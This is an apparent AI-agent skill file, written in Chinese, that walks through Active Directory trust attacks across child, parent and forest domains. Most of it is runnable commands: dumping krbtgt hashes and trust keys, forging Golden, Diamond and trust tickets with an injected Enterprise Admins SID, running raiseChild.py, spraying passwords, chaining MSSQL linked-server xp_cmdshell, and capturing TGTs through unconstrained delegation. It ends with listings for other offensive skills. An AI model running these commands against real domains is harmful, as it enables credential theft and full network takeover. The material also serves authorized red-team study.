skills/lateral/ad-trust-attack/SKILL.md
域信任关系攻击。当目标存在多域/多林环境时使用。包含父子域提权(Golden Ticket + ExtraSid)、跨林攻击(SID History/MSSQL Trust Links)、单向信任利用。已获取子域 Domain Admin 或发现信任关系时优先加载。
npx skillsauth add wgpsec/AboutSecurity ad-trust-attackInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
枚举和利用 Active Directory 信任关系,实现跨域和跨林的横向移动与权限提升。
ldeep ldap -u <USER> -p <PASSWORD> -d <DOMAIN> -s ldap://<DC> trusts
netexec ldap <DC_IP> -u '<USER>' -p '<PASSWORD>' -d '<DOMAIN>' -M enum_trusts
bloodhound-python -u <USER> -p <PASSWORD> -d <DOMAIN> -c Trusts
Get-DomainTrust # PowerView
Get-ForestTrust # 森林信任
nltest /domain_trusts /all_trusts # Windows 原生
| 字段 | 含义 | |------|------| | TrustDirection: Bidirectional | 双向信任,可双向访问 | | TrustDirection: Inbound | 对方信任我们,我们可访问对方 | | TrustDirection: Outbound | 我们信任对方,对方可访问我们 | | TrustAttributes: WITHIN_FOREST | 森林内,无 SID 过滤 | | TrustAttributes: FOREST_TRANSITIVE | 森林信任,有 SID 过滤 |
| 信任类型 | 方向 | SID 过滤 | 主要攻击方式 | |----------|------|----------|-------------| | 父子域 (Parent-Child) | 双向 | 禁用 | Golden Ticket + ExtraSid | | 树根 (Tree-Root) | 双向 | 禁用 | Golden Ticket + ExtraSid | | 外部 (External) | 单向 | 启用 | 外部组成员 / 密码重用 | | 森林 (Forest) | 双向 | 启用 | SID History(受限) / MSSQL Links |
| 属性 | 值 | 安全含义 | |------|-----|---------| | WITHIN_FOREST | 0x20 | 森林内,无 SID 过滤 | | FOREST_TRANSITIVE | 0x08 | 森林信任,有 SID 过滤 | | TREAT_AS_EXTERNAL | 0x40 | 视为外部,启用 SID 过滤 | | QUARANTINED_DOMAIN | 0x04 | 域隔离,强制 SID 过滤 |
| 信任类型 | ExtraSid 攻击 | 备注 | |----------|--------------|------| | 森林内 (WITHIN_FOREST) | 完全可用 | Enterprise Admins (-519) 有效 | | 外部/森林信任 | 仅 RID > 1000 | 知名 SID 被过滤 | | 隔离域 (Quarantined) | 极度受限 | 几乎全部被过滤 |
核心原理: 同一森林内无 SID 过滤,子域 krbtgt 签发的票据中可注入父域 Enterprise Admins SID (-519)。
# 获取子域 SID
lookupsid.py <CHILD_DOMAIN>/<USER>:<PASSWORD>@<CHILD_DC> 0
# 获取父域 SID (Enterprise Admins = 父域SID + "-519")
lookupsid.py <CHILD_DOMAIN>/<USER>:<PASSWORD>@<PARENT_DC> 0
# 转储子域 krbtgt 哈希
secretsdump.py -just-dc-user '<CHILD_DOMAIN>/krbtgt' \
'<CHILD_DOMAIN>/<USER>:<PASSWORD>@<CHILD_DC>'
ticketer.py -nthash <KRBTGT_NTHASH> \
-domain-sid '<CHILD_SID>' \
-domain <CHILD_DOMAIN> \
-extra-sid '<PARENT_SID>-519' \
fakeadmin
export KRB5CCNAME=fakeadmin.ccache
secretsdump.py -k -no-pass <PARENT_DOMAIN>/fakeadmin@<PARENT_DC>
# Rubeus (AES256 更隐蔽)
Rubeus.exe golden /aes256:<KRBTGT_AES256> /user:Administrator \
/domain:<CHILD_DOMAIN> /sid:<CHILD_SID> /sids:<PARENT_SID>-519 /nowrap
修改合法 TGT 的 PAC 而非从零伪造,绕过部分检测:
Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 \
/groups:519 /sids:<PARENT_SID>-519 /krbkey:<KRBTGT_AES256> /nowrap
raiseChild.py -target-exec <PARENT_DC> '<CHILD_DOMAIN>/Administrator:<PASSWORD>'
raiseChild.py -target-exec <PARENT_DC> -hashes :<NTHASH> '<CHILD_DOMAIN>/Administrator'
# 转储信任密钥
secretsdump.py '<CHILD_DOMAIN>/Administrator:<PASSWORD>@<CHILD_DC>' | grep -i trust
# 伪造跨域 TGT
ticketer.py -nthash <TRUST_KEY_HASH> \
-domain-sid '<CHILD_SID>' \
-domain <CHILD_DOMAIN> \
-spn krbtgt/<PARENT_DOMAIN> \
fakeuser
export KRB5CCNAME=fakeuser.ccache
getST.py -k -no-pass -spn cifs/<PARENT_DC>.<PARENT_DOMAIN> <PARENT_DOMAIN>/fakeuser
详细步骤与方法对比 -> references/child-parent-escalation.md
外部域信任我们,我们的用户可以访问外部域资源。
# 查找外部域中的本域用户/组
Get-DomainForeignGroupMember -Domain <EXTERNAL_DOMAIN>
ConvertFrom-SID S-1-5-21-<MEMBER_SID>
# 跨域票据请求
Rubeus.exe asktgt /user:<USER> /domain:<DOMAIN> /aes256:<AES256> /nowrap
Rubeus.exe asktgs /service:krbtgt/<EXTERNAL_DOMAIN> /domain:<DOMAIN> \
/dc:<DC> /ticket:<TGT_BASE64> /nowrap
Rubeus.exe asktgs /service:cifs/<EXTERNAL_DC> /domain:<EXTERNAL_DOMAIN> \
/dc:<EXTERNAL_DC> /ticket:<REFERRAL_TICKET> /nowrap
我们信任外部域,可获取信任密钥进行进一步利用。
# 转储信任密钥
mimikatz lsadump::trust /patch
# DCSync 信任账户
secretsdump.py -just-dc-user '<EXTERNAL_DOMAIN>$' \
'<DOMAIN>/Administrator:<PASSWORD>@<DC>'
# 使用信任账户身份进行 Kerberoast 等攻击
Rubeus.exe asktgt /user:<DOMAIN>$ /domain:<EXTERNAL_DOMAIN> /rc4:<TRUST_KEY> /nowrap
场景: 森林信任存在 SID 过滤,需要替代攻击路径。
# 在目标林找 RID > 1000 有价值组,创建 Golden Ticket 注入其 SID
ticketer.py -nthash <KRBTGT_HASH> \
-domain-sid '<SOURCE_SID>' \
-domain <SOURCE_DOMAIN> \
-extra-sid '<TARGET_SID>-1111' \
fakeuser
export KRB5CCNAME=fakeuser.ccache
smbclient.py -k -no-pass <TARGET_DOMAIN>/fakeuser@<TARGET_DC>
Get-DomainForeignGroupMember -Domain <TARGET_FOREST>
Get-DomainForeignUser -Domain <TARGET_FOREST>
netexec smb <TARGET_DC> -u '<USER>' -p '<PASSWORD>' -d '<TARGET_FOREST>'
netexec smb <TARGET_DC> -u users.txt -p passwords.txt -d '<TARGET_FOREST>'
-- 枚举链接服务器
SELECT * FROM master..sysservers;
-- 在链接服务器上执行
EXEC ('SELECT SYSTEM_USER') AT [LINKED_SERVER];
-- 链式穿越
EXEC ('EXEC (''SELECT SYSTEM_USER'') AT [SECOND_LINK]') AT [FIRST_LINK];
-- 通过链接执行命令 (需 xp_cmdshell)
EXEC ('xp_cmdshell ''whoami''') AT [LINKED_SERVER];
# 查找非约束委派 → 强制目标林 DC 认证 → 捕获 TGT
Get-DomainComputer -Unconstrained -Domain <SOURCE_DOMAIN>
Rubeus.exe monitor /interval:5 /nowrap /filteruser:<TARGET_DC>$
# 触发: PrinterBug / PetitPotam / DFSCoerce
Rubeus.exe ptt /ticket:<CAPTURED_TGT>
Get-DomainObjectAcl -Domain <TARGET_FOREST> |
Where-Object {$_.SecurityIdentifier -match 'S-1-5-21-<SOURCE_SID>'}
详细攻击手法与实战案例 -> references/cross-forest-attack.md
[开始] 发现域信任关系 / 已获取子域 DA
│
├─ 枚举: ldeep / NetExec / PowerView / BloodHound / nltest
│
▼
[分析] 信任类型?
│
├─ WITHIN_FOREST (父子域/树根) ───────────────────────┐
│ └─ 无 SID 过滤 │
│ ├─ 有 krbtgt ── Golden Ticket + ExtraSid(-519) ┤
│ ├─ 需隐蔽 ──── Diamond Ticket ─────────────────┤
│ ├─ 要快速 ──── raiseChild.py ──────────────────┤
│ └─ 有信任密钥 ─ Trust Ticket ──────────────────┤
│ ▼
│ 获取父域 DA → DCSync
│
├─ FOREST_TRANSITIVE (森林信任) ──────────────────────┐
│ └─ 有 SID 过滤 (RID > 1000 可通过) │
│ ├─ RID>1000 组 ── SID History ────────────────┤
│ ├─ 外部组成员 ── 已授权跨林访问 ──────────────┤
│ ├─ 密码重用 ──── netexec 喷洒 ────────────────┤
│ ├─ MSSQL 链接 ── xp_cmdshell ────────────────┤
│ └─ 非约束委派 ── 跨林 TGT 捕获 ──────────────┤
│ ▼
│ 跨林访问
│
├─ Inbound (对方信任我们) ────────────────────────────┐
│ ├─ 查找外部组成员 ── ForeignGroupMember ──────────┤
│ └─ 跨域票据请求 ──── Rubeus asktgt/asktgs ───────┤
│ ▼
│ 访问外部域
│
└─ Outbound (我们信任对方) ──────────────────────────┐
├─ 转储信任密钥 ──── lsadump::trust / DCSync ────┤
└─ 信任账户登录 ──── Kerberoast 目标域 ──────────┤
▼
目标域立足点
| 工具 | 用途 | |------|------| | ldeep / NetExec / BloodHound | 信任枚举与可视化 | | lookupsid.py | 域 SID 查询 | | secretsdump.py | krbtgt / 信任密钥转储 | | ticketer.py | Golden Ticket / Trust Ticket | | raiseChild.py | 自动化子域到父域提权 | | Rubeus / mimikatz | Windows 票据操作与密钥转储 |
testing
Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产(Blob Storage/App Service/Azure VM/Azure Functions)、获取 Azure 凭据(Service Principal/Managed Identity/Access Token)、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面
tools
Mythic C2 操作方法论。当需要部署 Mythic、选择 Mythic Agent、安装 C2 Profile、配置 HTTP/DNS/WebSocket/SMB/TCP 通信、生成 payload、管理回连任务,或把 Mythic 作为跨平台 C2 框架用于授权红队演练时使用。覆盖 mythic-cli 安装、Agent/Profile 选择、SSL 证书配置、payload 构建和基础 OPSEC 判断
development
Docker 安全测试与容器渗透方法论。当需要评估 Docker 容器、Docker Daemon、Docker Registry、镜像层、构建产物或容器逃逸风险时使用。覆盖容器环境识别、特权容器逃逸、docker.sock/Remote API 利用、procfs/cgroup/capabilities 滥用、Docker 用户组提权、运行时/内核 CVE、Registry 枚举、镜像层 Secret 分析和构建上下文泄露。发现 Docker 容器环境、Registry 暴露、镜像凭据或容器配置错误时应使用此技能
development
使用 PadBuster 进行 Padding Oracle 攻击。当发现 Web 应用使用 CBC 模式加密且存在 Padding Oracle 漏洞时使用。PadBuster 可自动解密密文和伪造任意明文对应的合法密文,适用于加密 Cookie/Token/URL 参数。任何涉及 Padding Oracle 攻击、CBC 密文解密、Cookie 伪造的场景都应使用此技能